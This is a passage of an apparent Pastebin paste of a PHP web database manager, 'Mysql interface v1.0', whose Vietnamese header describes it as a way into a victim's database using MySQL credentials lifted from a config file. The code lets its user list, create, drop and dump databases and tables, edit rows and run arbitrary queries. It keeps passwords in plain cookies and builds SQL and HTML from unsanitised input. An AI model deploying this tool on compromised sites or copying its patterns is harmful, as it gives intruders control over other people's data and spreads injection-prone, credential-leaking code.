Advertisement
Guest User

Untitled

a guest
Jan 22nd, 2018
33
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 34.14 KB | None | 0 0
  1. <?
  2. /*
  3. * Mysql interface v1.0
  4. * -------------------------------
  5. * Description :
  6. * Dung` de login vao` CSDL cua victim khi da biet user va` pass cua mysql thong qua file config
  7. */
  8.  
  9. $HOSTNAME = "localhost";
  10.  
  11. function logon() {
  12. global $PHP_SELF;
  13.  
  14. setcookie( "mysql_web_admin_username" );
  15. setcookie( "mysql_web_admin_password" );
  16. echo "<html>\n";
  17. echo "<head>\n";
  18. echo "<title>Mysql interface</title>\n";
  19. echo "</head>\n";
  20. echo "<body>\n";
  21. echo "<table width=100% height=100%><tr><td><center>\n";
  22. echo "<table cellpadding=2><tr><td bgcolor=#0090FF><center>\n";
  23. echo "<table cellpadding=20><tr><td bgcolor=#ffffff><center>\n";
  24. echo "<h1><b><font color=#FF0000>Mysql Interface v1.0</font></b></h1>\n";
  25. echo "<form action='$PHP_SELF'>\n";
  26. echo "<input type=hidden name=action value=logon_submit>\n";
  27. echo "<table cellpadding=5 cellspacing=1>\n";
  28. echo "<tr><td>Username </td><td> <input type=text name=username></td></tr>\n";
  29. echo "<tr><td>Password </td><td> <input type=password name=password></td></tr>\n";
  30. echo "</table><p>\n";
  31. echo "<input type=submit value='Enter'>\n";
  32. echo "<input type=reset value='Clear'><br>\n";
  33. echo "</form>\n";
  34. echo "</center></td></tr></table>\n";
  35. echo "</center></td></tr></table>\n";
  36. echo "<p><hr width=300>\n";
  37. echo "<font size=2>\n";
  38. echo "Copyright &copy; 2005\n <br>";
  39. echo "</font>\n";
  40. echo "</center></td></tr></table>\n";
  41. echo "</body>\n";
  42. echo "</html>\n";
  43. }
  44.  
  45. function logon_submit() {
  46. global $username, $password, $PHP_SELF;
  47.  
  48. setcookie( "mysql_web_admin_username", $username );
  49. setcookie( "mysql_web_admin_password", $password );
  50. echo "<html>";
  51. echo "<head>";
  52. echo "<META HTTP-EQUIV=Refresh CONTENT='0; URL=$PHP_SELF?action=listDBs'>";
  53. echo "</head>";
  54. echo "</html>";
  55. }
  56.  
  57. function echoQueryResult() {
  58. global $queryStr, $errMsg;
  59.  
  60. if( $errMsg == "" ) $errMsg = "Success";
  61. if( $queryStr != "" ) {
  62. echo "<table cellpadding=5>\n";
  63. echo "<tr><td>Query</td><td>$queryStr</td></tr>\n";
  64. echo "<tr><td>Result</td><td>$errMsg</td></tr>\n";
  65. echo "</table><p>\n";
  66. }
  67. }
  68.  
  69. function listDatabases() {
  70. global $mysqlHandle, $PHP_SELF;
  71.  
  72. echo "<h1>Database List</h1>\n";
  73.  
  74. echo "<form action='$PHP_SELF'>\n";
  75. echo "<input type=hidden name=action value=createDB>\n";
  76. echo "<input type=text name=dbname>\n";
  77. echo "<input type=submit value='Create Database'>\n";
  78. echo "</form>\n";
  79. echo "<hr>\n";
  80.  
  81. echo "<table cellspacing=1 cellpadding=5>\n";
  82.  
  83. $pDB = mysql_list_dbs( $mysqlHandle );
  84. $num = mysql_num_rows( $pDB );
  85. for( $i = 0; $i < $num; $i++ ) {
  86. $dbname = mysql_dbname( $pDB, $i );
  87. echo "<tr>\n";
  88. echo "<td>$dbname</td>\n";
  89. echo "<td><a href='$PHP_SELF?action=listTables&dbname=$dbname'>Table</a></td>\n";
  90. echo "<td><a href='$PHP_SELF?action=dropDB&dbname=$dbname' onClick=\"return confirm('Drop Database \'$dbname\'?')\">Drop</a></td>\n";
  91. echo "<td><a href='$PHP_SELF?action=dumpDB&dbname=$dbname'>Dump</a></td>\n";
  92. echo "</tr>\n";
  93. }
  94. echo "</table>\n";
  95. }
  96.  
  97. function createDatabase() {
  98. global $mysqlHandle, $dbname, $PHP_SELF;
  99.  
  100. mysql_create_db( $dbname, $mysqlHandle );
  101. listDatabases();
  102. }
  103.  
  104. function dropDatabase() {
  105. global $mysqlHandle, $dbname, $PHP_SELF;
  106.  
  107. mysql_drop_db( $dbname, $mysqlHandle );
  108. listDatabases();
  109. }
  110.  
  111. function listTables() {
  112. global $mysqlHandle, $dbname, $PHP_SELF;
  113.  
  114. echo "<h1>Table List</h1>\n";
  115. echo "<p class=location>$dbname</p>\n";
  116. echoQueryResult();
  117. echo "<form action='$PHP_SELF'>\n";
  118. echo "<input type=hidden name=action value=createTable>\n";
  119. echo "<input type=hidden name=dbname value=$dbname>\n";
  120. echo "<input type=text name=tablename>\n";
  121. echo "<input type=submit value='Create Table'>\n";
  122. echo "</form>\n";
  123. echo "<form action='$PHP_SELF'>\n";
  124. echo "<input type=hidden name=action value=query>\n";
  125. echo "<input type=hidden name=dbname value=$dbname>\n";
  126. echo "<input type=text size=40 name=queryStr>\n";
  127. //echo "<textarea cols=30 rows=3 name=queryStr></textarea><br>";
  128. echo "<input type=submit value='Query'>\n";
  129. echo "</form>\n";
  130. echo "<hr>\n";
  131.  
  132. $pTable = mysql_list_tables( $dbname );
  133.  
  134. if( $pTable == 0 ) {
  135. $msg = mysql_error();
  136. echo "<h3>Error : $msg</h3><p>\n";
  137. return;
  138. }
  139. $num = mysql_num_rows( $pTable );
  140.  
  141. echo "<table cellspacing=1 cellpadding=5>\n";
  142.  
  143. for( $i = 0; $i < $num; $i++ ) {
  144. $tablename = mysql_tablename( $pTable, $i );
  145.  
  146. echo "<tr>\n";
  147. echo "<td>\n";
  148. echo "$tablename\n";
  149. echo "</td>\n";
  150. echo "<td>\n";
  151. echo "<a href='$PHP_SELF?action=viewSchema&dbname=$dbname&tablename=$tablename'>Schema</a>\n";
  152. echo "</td>\n";
  153. echo "<td>\n";
  154. echo "<a href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename'>Data</a>\n";
  155. echo "</td>\n";
  156. echo "<td>\n";
  157. echo "<a href='$PHP_SELF?action=dropTable&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Drop Database \'$dbname\'?')\">Drop</a>\n";
  158. echo "</td>\n";
  159. echo "<td>\n";
  160. echo "<a href='$PHP_SELF?action=dumpTable&dbname=$dbname&tablename=$tablename'>Dump</a>\n";
  161. echo "</td>\n";
  162. echo "</tr>\n";
  163. }
  164.  
  165. echo "</table>";
  166. }
  167.  
  168. function createTable() {
  169. global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;
  170.  
  171. $queryStr = "CREATE TABLE $tablename ( no INT )";
  172. mysql_select_db( $dbname, $mysqlHandle );
  173. mysql_query( $queryStr, $mysqlHandle );
  174. $errMsg = mysql_error();
  175.  
  176. listTables();
  177. }
  178.  
  179. function dropTable() {
  180. global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;
  181.  
  182. $queryStr = "DROP TABLE $tablename";
  183. mysql_select_db( $dbname, $mysqlHandle );
  184. mysql_query( $queryStr, $mysqlHandle );
  185. $errMsg = mysql_error();
  186.  
  187. listTables();
  188. }
  189.  
  190. function viewSchema() {
  191. global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;
  192.  
  193. echo "<h1>Table Schema</h1>\n";
  194. echo "<p class=location>$dbname &gt; $tablename</p>\n";
  195.  
  196. echoQueryResult();
  197.  
  198. echo "<a href='$PHP_SELF?action=addField&dbname=$dbname&tablename=$tablename'>Add Field</a> | \n";
  199. echo "<a href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename'>View Data</a>\n";
  200. echo "<hr>\n";
  201.  
  202. $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
  203. $num = mysql_num_rows( $pResult );
  204.  
  205. echo "<table cellspacing=1 cellpadding=5>\n";
  206. echo "<tr>\n";
  207. echo "<th>Field</th>\n";
  208. echo "<th>Type</th>\n";
  209. echo "<th>Null</th>\n";
  210. echo "<th>Key</th>\n";
  211. echo "<th>Default</th>\n";
  212. echo "<th>Extra</th>\n";
  213. echo "<th colspan=2>Action</th>\n";
  214. echo "</tr>\n";
  215.  
  216. for( $i = 0; $i < $num; $i++ ) {
  217. $field = mysql_fetch_array( $pResult );
  218. echo "<tr>\n";
  219. echo "<td>".$field["Field"]."</td>\n";
  220. echo "<td>".$field["Type"]."</td>\n";
  221. echo "<td>".$field["Null"]."</td>\n";
  222. echo "<td>".$field["Key"]."</td>\n";
  223. echo "<td>".$field["Default"]."</td>\n";
  224. echo "<td>".$field["Extra"]."</td>\n";
  225. $fieldname = $field["Field"];
  226. echo "<td><a href='$PHP_SELF?action=editField&dbname=$dbname&tablename=$tablename&fieldname=$fieldname'>Edit</a></td>\n";
  227. echo "<td><a href='$PHP_SELF?action=dropField&dbname=$dbname&tablename=$tablename&fieldname=$fieldname' onClick=\"return confirm('Drop Field \'$fieldname\'?')\">Drop</a></td>\n";
  228. echo "</tr>\n";
  229. }
  230. echo "</table>\n";
  231. }
  232.  
  233. function manageField( $cmd ) {
  234. global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF;
  235.  
  236. if( $cmd == "add" )
  237. echo "<h1>Add Field</h1>\n";
  238. else if( $cmd == "edit" ) {
  239. echo "<h1>Edit Field</h1>\n";
  240. $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
  241. $num = mysql_num_rows( $pResult );
  242. for( $i = 0; $i < $num; $i++ ) {
  243. $field = mysql_fetch_array( $pResult );
  244. if( $field["Field"] == $fieldname ) {
  245. $fieldtype = $field["Type"];
  246. $fieldkey = $field["Key"];
  247. $fieldextra = $field["Extra"];
  248. $fieldnull = $field["Null"];
  249. $fielddefault = $field["Default"];
  250. break;
  251. }
  252. }
  253. $type = strtok( $fieldtype, " (,)\n" );
  254. if( strpos( $fieldtype, "(" ) ) {
  255. if( $type == "enum" | $type == "set" ) {
  256. $valuelist = strtok( " ()\n" );
  257. } else {
  258. $M = strtok( " (,)\n" );
  259. if( strpos( $fieldtype, "," ) )
  260. $D = strtok( " (,)\n" );
  261. }
  262. }
  263. }
  264.  
  265. echo "<p class=location>$dbname &gt; $tablename</p>\n";
  266. echo "<form action=$PHP_SELF>\n";
  267.  
  268. if( $cmd == "add" )
  269. echo "<input type=hidden name=action value=addField_submit>\n";
  270. else if( $cmd == "edit" ) {
  271. echo "<input type=hidden name=action value=editField_submit>\n";
  272. echo "<input type=hidden name=old_name value=$fieldname>\n";
  273. }
  274. echo "<input type=hidden name=dbname value=$dbname>\n";
  275. echo "<input type=hidden name=tablename value=$tablename>\n";
  276.  
  277. echo "<h3>Name</h3>\n";
  278. echo "<input type=text name=name value=$fieldname><p>\n";
  279. ?>
  280.  
  281. <h3>Type</h3>
  282.  
  283. <font size=2>
  284. * `M' indicates the maximum display size.<br>
  285. * `D' applies to floating-point types and indicates the number of digits following the decimal point.<br>
  286. </font>
  287.  
  288. <table>
  289. <tr>
  290. <th>Type</th><th>&nbspM&nbsp</th><th>&nbspD&nbsp</th><th>unsigned</th><th>zerofill</th><th>binary</th>
  291. </tr>
  292. <tr>
  293. <td><input type=radio name=type value="TINYINT" <? if( $type == "tinyint" ) echo "checked";?>>TINYINT (-128 ~ 127)</td>
  294. <td align=center>O</td>
  295. <td>&nbsp</td>
  296. <td align=center>O</td>
  297. <td align=center>O</td>
  298. <td>&nbsp</td>
  299. </tr>
  300. <tr>
  301. <td><input type=radio name=type value="SMALLINT" <? if( $type == "smallint" ) echo "checked";?>>SMALLINT (-32768 ~ 32767)</td>
  302. <td align=center>O</td>
  303. <td>&nbsp</td>
  304. <td align=center>O</td>
  305. <td align=center>O</td>
  306. <td>&nbsp</td>
  307. </tr>
  308. <tr>
  309. <td><input type=radio name=type value="MEDIUMINT" <? if( $type == "mediumint" ) echo "checked";?>>MEDIUMINT (-8388608 ~ 8388607)</td>
  310. <td align=center>O</td>
  311. <td>&nbsp</td>
  312. <td align=center>O</td>
  313. <td align=center>O</td>
  314. <td>&nbsp</td>
  315. </tr>
  316. <tr>
  317. <td><input type=radio name=type value="INT" <? if( $type == "int" ) echo "checked";?>>INT (-2147483648 ~ 2147483647)</td>
  318. <td align=center>O</td>
  319. <td>&nbsp</td>
  320. <td align=center>O</td>
  321. <td align=center>O</td>
  322. <td>&nbsp</td>
  323. </tr>
  324. <tr>
  325. <td><input type=radio name=type value="BIGINT" <? if( $type == "bigint" ) echo "checked";?>>BIGINT (-9223372036854775808 ~ 9223372036854775807)</td>
  326. <td align=center>O</td>
  327. <td>&nbsp</td>
  328. <td align=center>O</td>
  329. <td align=center>O</td>
  330. <td>&nbsp</td>
  331. </tr>
  332. <tr>
  333. <td><input type=radio name=type value="FLOAT" <? if( $type == "float" ) echo "checked";?>>FLOAT</td>
  334. <td align=center>O</td>
  335. <td align=center>O</td>
  336. <td>&nbsp</td>
  337. <td align=center>O</td>
  338. <td>&nbsp</td>
  339. </tr>
  340. <tr>
  341. <td><input type=radio name=type value="DOUBLE" <? if( $type == "double" ) echo "checked";?>>DOUBLE</td>
  342. <td align=center>O</td>
  343. <td align=center>O</td>
  344. <td>&nbsp</td>
  345. <td align=center>O</td>
  346. <td>&nbsp</td>
  347. </tr>
  348. <tr>
  349. <td><input type=radio name=type value="DECIMAL" <? if( $type == "decimal" ) echo "checked";?>>DECIMAL(NUMERIC)</td>
  350. <td align=center>O</td>
  351. <td align=center>O</td>
  352. <td>&nbsp</td>
  353. <td align=center>O</td>
  354. <td>&nbsp</td>
  355. </tr>
  356. <tr>
  357. <td><input type=radio name=type value="DATE" <? if( $type == "date" ) echo "checked";?>>DATE (1000-01-01 ~ 9999-12-31, YYYY-MM-DD)</td>
  358. <td>&nbsp</td>
  359. <td>&nbsp</td>
  360. <td>&nbsp</td>
  361. <td>&nbsp</td>
  362. <td>&nbsp</td>
  363. </tr>
  364. <tr>
  365. <td><input type=radio name=type value="DATETIME" <? if( $type == "datetime" ) echo "checked";?>>DATETIME (1000-01-01 00:00:00 ~ 9999-12-31 23:59:59, YYYY-MM-DD HH:MM:SS)</td>
  366. <td>&nbsp</td>
  367. <td>&nbsp</td>
  368. <td>&nbsp</td>
  369. <td>&nbsp</td>
  370. <td>&nbsp</td>
  371. </tr>
  372. <tr>
  373. <td><input type=radio name=type value="TIMESTAMP" <? if( $type == "timestamp" ) echo "checked";?>>TIMESTAMP (1970-01-01 00:00:00 ~ 2106..., YYYYMMDD[HH[MM[SS]]])</td>
  374. <td align=center>O</td>
  375. <td>&nbsp</td>
  376. <td>&nbsp</td>
  377. <td>&nbsp</td>
  378. <td>&nbsp</td>
  379. </tr>
  380. <tr>
  381. <td><input type=radio name=type value="TIME" <? if( $type == "time" ) echo "checked";?>>TIME (-838:59:59 ~ 838:59:59, HH:MM:SS)</td>
  382. <td>&nbsp</td>
  383. <td>&nbsp</td>
  384. <td>&nbsp</td>
  385. <td>&nbsp</td>
  386. <td>&nbsp</td>
  387. </tr>
  388. <tr>
  389. <td><input type=radio name=type value="YEAR" <? if( $type == "year" ) echo "checked";?>>YEAR (1901 ~ 2155, 0000, YYYY)</td>
  390. <td>&nbsp</td>
  391. <td>&nbsp</td>
  392. <td>&nbsp</td>
  393. <td>&nbsp</td>
  394. <td>&nbsp</td>
  395. </tr>
  396. <tr>
  397. <td><input type=radio name=type value="CHAR" <? if( $type == "char" ) echo "checked";?>>CHAR</td>
  398. <td align=center>O</td>
  399. <td>&nbsp</td>
  400. <td>&nbsp</td>
  401. <td>&nbsp</td>
  402. <td align=center>O</td>
  403. </tr>
  404. <tr>
  405. <td><input type=radio name=type value="VARCHAR" <? if( $type == "varchar" ) echo "checked";?>>VARCHAR</td>
  406. <td align=center>O</td>
  407. <td>&nbsp</td>
  408. <td>&nbsp</td>
  409. <td>&nbsp</td>
  410. <td align=center>O</td>
  411. </tr>
  412. <tr>
  413. <td><input type=radio name=type value="TINYTEXT" <? if( $type == "tinytext" ) echo "checked";?>>TINYTEXT (0 ~ 255)</td>
  414. <td>&nbsp</td>
  415. <td>&nbsp</td>
  416. <td>&nbsp</td>
  417. <td>&nbsp</td>
  418. <td>&nbsp</td>
  419. </tr>
  420. <tr>
  421. <td><input type=radio name=type value="TEXT" <? if( $type == "text" ) echo "checked";?>>TEXT (0 ~ 65535)</td>
  422. <td>&nbsp</td>
  423. <td>&nbsp</td>
  424. <td>&nbsp</td>
  425. <td>&nbsp</td>
  426. <td>&nbsp</td>
  427. </tr>
  428. <tr>
  429. <td><input type=radio name=type value="MEDIUMTEXT" <? if( $type == "mediumtext" ) echo "checked";?>>MEDIUMTEXT (0 ~ 16777215)</td>
  430. <td>&nbsp</td>
  431. <td>&nbsp</td>
  432. <td>&nbsp</td>
  433. <td>&nbsp</td>
  434. <td>&nbsp</td>
  435. </tr>
  436. <tr>
  437. <td><input type=radio name=type value="LONGTEXT" <? if( $type == "longtext" ) echo "checked";?>>LONGTEXT (0 ~ 4294967295)</td>
  438. <td>&nbsp</td>
  439. <td>&nbsp</td>
  440. <td>&nbsp</td>
  441. <td>&nbsp</td>
  442. <td>&nbsp</td>
  443. </tr>
  444. <tr>
  445. <td><input type=radio name=type value="TINYBLOB" <? if( $type == "tinyblob" ) echo "checked";?>>TINYBLOB (0 ~ 255)</td>
  446. <td>&nbsp</td>
  447. <td>&nbsp</td>
  448. <td>&nbsp</td>
  449. <td>&nbsp</td>
  450. <td>&nbsp</td>
  451. </tr>
  452. <tr>
  453. <td><input type=radio name=type value="BLOB" <? if( $type == "blob" ) echo "checked";?>>BLOB (0 ~ 65535)</td>
  454. <td>&nbsp</td>
  455. <td>&nbsp</td>
  456. <td>&nbsp</td>
  457. <td>&nbsp</td>
  458. <td>&nbsp</td>
  459. </tr>
  460. <tr>
  461. <td><input type=radio name=type value="MEDIUMBLOB" <? if( $type == "mediumblob" ) echo "checked";?>>MEDIUMBLOB (0 ~ 16777215)</td>
  462. <td>&nbsp</td>
  463. <td>&nbsp</td>
  464. <td>&nbsp</td>
  465. <td>&nbsp</td>
  466. <td>&nbsp</td>
  467. </tr>
  468. <tr>
  469. <td><input type=radio name=type value="LONGBLOB" <? if( $type == "longblob" ) echo "checked";?>>LONGBLOB (0 ~ 4294967295)</td>
  470. <td>&nbsp</td>
  471. <td>&nbsp</td>
  472. <td>&nbsp</td>
  473. <td>&nbsp</td>
  474. <td>&nbsp</td>
  475. </tr>
  476. <tr>
  477. <td><input type=radio name=type value="ENUM" <? if( $type == "enum" ) echo "checked";?>>ENUM</td>
  478. <td colspan=5><center>value list</center></td>
  479. </tr>
  480. <tr>
  481. <td><input type=radio name=type value="SET" <? if( $type == "set" ) echo "checked";?>>SET</td>
  482. <td colspan=5><center>value list</center></td>
  483. </tr>
  484.  
  485. </table>
  486. <table>
  487. <tr><th>M</th><th>D</th><th>unsigned</th><th>zerofill</th><th>binary</th><th>value list (ex: 'apple', 'orange', 'banana') </th></tr>
  488. <tr>
  489. <td align=center><input type=text size=4 name=M <? if( $M != "" ) echo "value=$M";?>></td>
  490. <td align=center><input type=text size=4 name=D <? if( $D != "" ) echo "value=$D";?>></td>
  491. <td align=center><input type=checkbox name=unsigned value="UNSIGNED" <? if( strpos( $fieldtype, "unsigned" ) ) echo "checked";?>></td>
  492. <td align=center><input type=checkbox name=zerofill value="ZEROFILL" <? if( strpos( $fieldtype, "zerofill" ) ) echo "checked";?>></td>
  493. <td align=center><input type=checkbox name=binary value="BINARY" <? if( strpos( $fieldtype, "binary" ) ) echo "checked";?>></td>
  494. <td align=center><input type=text size=60 name=valuelist <? if( $valuelist != "" ) echo "value=\"$valuelist\"";?>></td>
  495. </tr>
  496. </table>
  497.  
  498.  
  499. <h3>Flags</h3>
  500. <table>
  501. <tr><th>not null</th><th>default value</th><th>auto increment</th><th>primary key</th></tr>
  502. <tr>
  503. <td align=center><input type=checkbox name=not_null value="NOT NULL" <? if( $fieldnull != "YES" ) echo "checked";?>></td>
  504. <td align=center><input type=text name=default_value <? if( $fielddefault != "" ) echo "value=$fielddefault";?>></td>
  505. <td align=center><input type=checkbox name=auto_increment value="AUTO_INCREMENT" <? if( $fieldextra == "auto_increment" ) echo "checked";?>></td>
  506. <td align=center><input type=checkbox name=primary_key value="PRIMARY KEY" <? if( $fieldkey == "PRI" ) echo "checked";?>></td>
  507. </tr>
  508. </table>
  509.  
  510. <p>
  511.  
  512. <?
  513. if( $cmd == "add" )
  514. echo "<input type=submit value='Add Field'>\n";
  515. else if( $cmd == "edit" )
  516. echo "<input type=submit value='Edit Field'>\n";
  517. echo "<input type=button value=Cancel onClick='history.back()'>\n";
  518. echo "</form>\n";
  519. }
  520.  
  521. function manageField_submit( $cmd ) {
  522. global $mysqlHandle, $dbname, $tablename, $old_name, $name, $type, $PHP_SELF, $queryStr, $errMsg,
  523. $M, $D, $unsigned, $zerofill, $binary, $not_null, $default_value, $auto_increment, $primary_key, $valuelist;
  524.  
  525. if( $cmd == "add" )
  526. $queryStr = "ALTER TABLE $tablename ADD $name ";
  527. else if( $cmd == "edit" )
  528. $queryStr = "ALTER TABLE $tablename CHANGE $old_name $name ";
  529.  
  530. if( $M != "" )
  531. if( $D != "" )
  532. $queryStr .= "$type($M,$D) ";
  533. else
  534. $queryStr .= "$type($M) ";
  535. else if( $valuelist != "" ) {
  536. $valuelist = stripslashes( $valuelist );
  537. $queryStr .= "$type($valuelist) ";
  538. } else
  539. $queryStr .= "$type ";
  540.  
  541. $queryStr .= "$unsigned $zerofill $binary ";
  542.  
  543. if( $default_value != "" )
  544. $queryStr .= "DEFAULT '$default_value' ";
  545.  
  546. $queryStr .= "$not_null $auto_increment";
  547.  
  548. mysql_select_db( $dbname, $mysqlHandle );
  549. mysql_query( $queryStr, $mysqlHandle );
  550. $errMsg = mysql_error();
  551.  
  552. // key change
  553. $keyChange = false;
  554. $result = mysql_query( "SHOW KEYS FROM $tablename" );
  555. $primary = "";
  556. while( $row = mysql_fetch_array($result) )
  557. if( $row["Key_name"] == "PRIMARY" ) {
  558. if( $row[Column_name] == $name )
  559. $keyChange = true;
  560. else
  561. $primary .= ", $row[Column_name]";
  562. }
  563. if( $primary_key == "PRIMARY KEY" ) {
  564. $primary .= ", $name";
  565. $keyChange = !$keyChange;
  566. }
  567. $primary = substr( $primary, 2 );
  568. if( $keyChange == true ) {
  569. $q = "ALTER TABLE $tablename DROP PRIMARY KEY";
  570. mysql_query( $q );
  571. $queryStr .= "<br>\n" . $q;
  572. $errMsg .= "<br>\n" . mysql_error();
  573. $q = "ALTER TABLE $tablename ADD PRIMARY KEY( $primary )";
  574. mysql_query( $q );
  575. $queryStr .= "<br>\n" . $q;
  576. $errMsg .= "<br>\n" . mysql_error();
  577. }
  578.  
  579. viewSchema();
  580. }
  581.  
  582. function dropField() {
  583. global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;
  584.  
  585. $queryStr = "ALTER TABLE $tablename DROP COLUMN $fieldname";
  586. mysql_select_db( $dbname, $mysqlHandle );
  587. mysql_query( $queryStr , $mysqlHandle );
  588. $errMsg = mysql_error();
  589.  
  590. viewSchema();
  591. }
  592.  
  593. function viewData( $queryStr ) {
  594. global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, $rowperpage, $orderby;
  595.  
  596. echo "<h1>Data in Table</h1>\n";
  597. if( $tablename != "" )
  598. echo "<p class=location>$dbname &gt; $tablename</p>\n";
  599. else
  600. echo "<p class=location>$dbname</p>\n";
  601.  
  602. $queryStr = stripslashes( $queryStr );
  603. if( $queryStr == "" ) {
  604. $queryStr = "SELECT * FROM $tablename";
  605. if( $orderby != "" )
  606. $queryStr .= " ORDER BY $orderby";
  607. echo "<a href='$PHP_SELF?action=addData&dbname=$dbname&tablename=$tablename'>Add Data</a> | \n";
  608. echo "<a href='$PHP_SELF?action=viewSchema&dbname=$dbname&tablename=$tablename'>Schema</a>\n";
  609. }
  610.  
  611. $pResult = mysql_db_query( $dbname, $queryStr );
  612. $errMsg = mysql_error();
  613.  
  614. $GLOBALS[queryStr] = $queryStr;
  615.  
  616. if( $pResult == false ) {
  617. echoQueryResult();
  618. return;
  619. }
  620. if( $pResult == 1 ) {
  621. $errMsg = "Success";
  622. echoQueryResult();
  623. return;
  624. }
  625.  
  626. echo "<hr>\n";
  627.  
  628. $row = mysql_num_rows( $pResult );
  629. $col = mysql_num_fields( $pResult );
  630.  
  631. if( $row == 0 ) {
  632. echo "No Data Exist!";
  633. return;
  634. }
  635.  
  636. if( $rowperpage == "" ) $rowperpage = 20;
  637. if( $page == "" ) $page = 0;
  638. else $page--;
  639. mysql_data_seek( $pResult, $page * $rowperpage );
  640.  
  641. echo "<table cellspacing=1 cellpadding=2>\n";
  642. echo "<tr>\n";
  643. for( $i = 0; $i < $col; $i++ ) {
  644. $field = mysql_fetch_field( $pResult, $i );
  645. echo "<th>";
  646. echo "<a href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename&orderby=".$field->name."'>".$field->name."</a>\n";
  647. echo "</th>\n";
  648. }
  649. echo "<th colspan=2>Action</th>\n";
  650. echo "</tr>\n";
  651.  
  652. for( $i = 0; $i < $rowperpage; $i++ ) {
  653. $rowArray = mysql_fetch_row( $pResult );
  654. if( $rowArray == false ) break;
  655. echo "<tr>\n";
  656. $key = "";
  657. for( $j = 0; $j < $col; $j++ ) {
  658. $data = $rowArray[$j];
  659.  
  660. $field = mysql_fetch_field( $pResult, $j );
  661. if( $field->primary_key == 1 )
  662. $key .= "&" . $field->name . "=" . $data;
  663.  
  664. if( strlen( $data ) > 20 )
  665. $data = substr( $data, 0, 20 ) . "...";
  666. $data = htmlspecialchars( $data );
  667. echo "<td>\n";
  668. echo "$data\n";
  669. echo "</td>\n";
  670. }
  671.  
  672. if( $key == "" )
  673. echo "<td colspan=2>no Key</td>\n";
  674. else {
  675. echo "<td><a href='$PHP_SELF?action=editData&dbname=$dbname&tablename=$tablename$key'>Edit</a></td>\n";
  676. echo "<td><a href='$PHP_SELF?action=deleteData&dbname=$dbname&tablename=$tablename$key' onClick=\"return confirm('Delete Row?')\">Delete</a></td>\n";
  677. }
  678. echo "</tr>\n";
  679. }
  680. echo "</table>\n";
  681.  
  682. echo "<font size=2>\n";
  683. echo "<form action='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename' method=post>\n";
  684. echo "<font color=green>\n";
  685. echo ($page+1)."/".(int)($row/$rowperpage+1)." page";
  686. echo "</font>\n";
  687. echo " | ";
  688. if( $page > 0 ) {
  689. echo "<a href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename&page=".($page);
  690. if( $orderby != "" )
  691. echo "&orderby=$orderby";
  692. echo "'>Prev</a>\n";
  693. } else
  694. echo "Prev";
  695. echo " | ";
  696. if( $page < ($row/$rowperpage)-1 ) {
  697. echo "<a href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename&page=".($page+2);
  698. if( $orderby != "" )
  699. echo "&orderby=$orderby";
  700. echo "'>Next</a>\n";
  701. } else
  702. echo "Next";
  703. echo " | ";
  704. if( $row > $rowperpage ) {
  705. echo "<input type=text size=4 name=page>\n";
  706. echo "<input type=submit value='Go'>\n";
  707. }
  708. echo "</form>\n";
  709. echo "</font>\n";
  710. }
  711.  
  712. function manageData( $cmd ) {
  713. global $mysqlHandle, $dbname, $tablename, $PHP_SELF;
  714.  
  715. if( $cmd == "add" )
  716. echo "<h1>Add Data</h1>\n";
  717. else if( $cmd == "edit" ) {
  718. echo "<h1>Edit Data</h1>\n";
  719. $pResult = mysql_list_fields( $dbname, $tablename );
  720. $num = mysql_num_fields( $pResult );
  721.  
  722. $key = "";
  723. for( $i = 0; $i < $num; $i++ ) {
  724. $field = mysql_fetch_field( $pResult, $i );
  725. if( $field->primary_key == 1 )
  726. if( $field->numeric == 1 )
  727. $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";
  728. else
  729. $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND ";
  730. }
  731. $key = substr( $key, 0, strlen($key)-4 );
  732.  
  733. mysql_select_db( $dbname, $mysqlHandle );
  734. $pResult = mysql_query( $queryStr = "SELECT * FROM $tablename WHERE $key", $mysqlHandle );
  735. $data = mysql_fetch_array( $pResult );
  736. }
  737.  
  738. echo "<p class=location>$dbname &gt; $tablename</p>\n";
  739.  
  740. echo "<form action='$PHP_SELF' method=post>\n";
  741. if( $cmd == "add" )
  742. echo "<input type=hidden name=action value=addData_submit>\n";
  743. else if( $cmd == "edit" )
  744. echo "<input type=hidden name=action value=editData_submit>\n";
  745. echo "<input type=hidden name=dbname value=$dbname>\n";
  746. echo "<input type=hidden name=tablename value=$tablename>\n";
  747. echo "<table cellspacing=1 cellpadding=2>\n";
  748. echo "<tr>\n";
  749. echo "<th>Name</th>\n";
  750. echo "<th>Type</th>\n";
  751. echo "<th>Function</th>\n";
  752. echo "<th>Data</th>\n";
  753. echo "</tr>\n";
  754.  
  755. $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
  756. $num = mysql_num_rows( $pResult );
  757.  
  758. $pResultLen = mysql_list_fields( $dbname, $tablename );
  759.  
  760. for( $i = 0; $i < $num; $i++ ) {
  761. $field = mysql_fetch_array( $pResult );
  762. $fieldname = $field["Field"];
  763. $fieldtype = $field["Type"];
  764. $len = mysql_field_len( $pResultLen, $i );
  765.  
  766. echo "<tr>";
  767. echo "<td>$fieldname</td>";
  768. echo "<td>".$field["Type"]."</td>";
  769. echo "<td>\n";
  770. echo "<select name=${fieldname}_function>\n";
  771. echo "<option>\n";
  772. echo "<option>ASCII\n";
  773. echo "<option>CHAR\n";
  774. echo "<option>SOUNDEX\n";
  775. echo "<option>CURDATE\n";
  776. echo "<option>CURTIME\n";
  777. echo "<option>FROM_DAYS\n";
  778. echo "<option>FROM_UNIXTIME\n";
  779. echo "<option>NOW\n";
  780. echo "<option>PASSWORD\n";
  781. echo "<option>PERIOD_ADD\n";
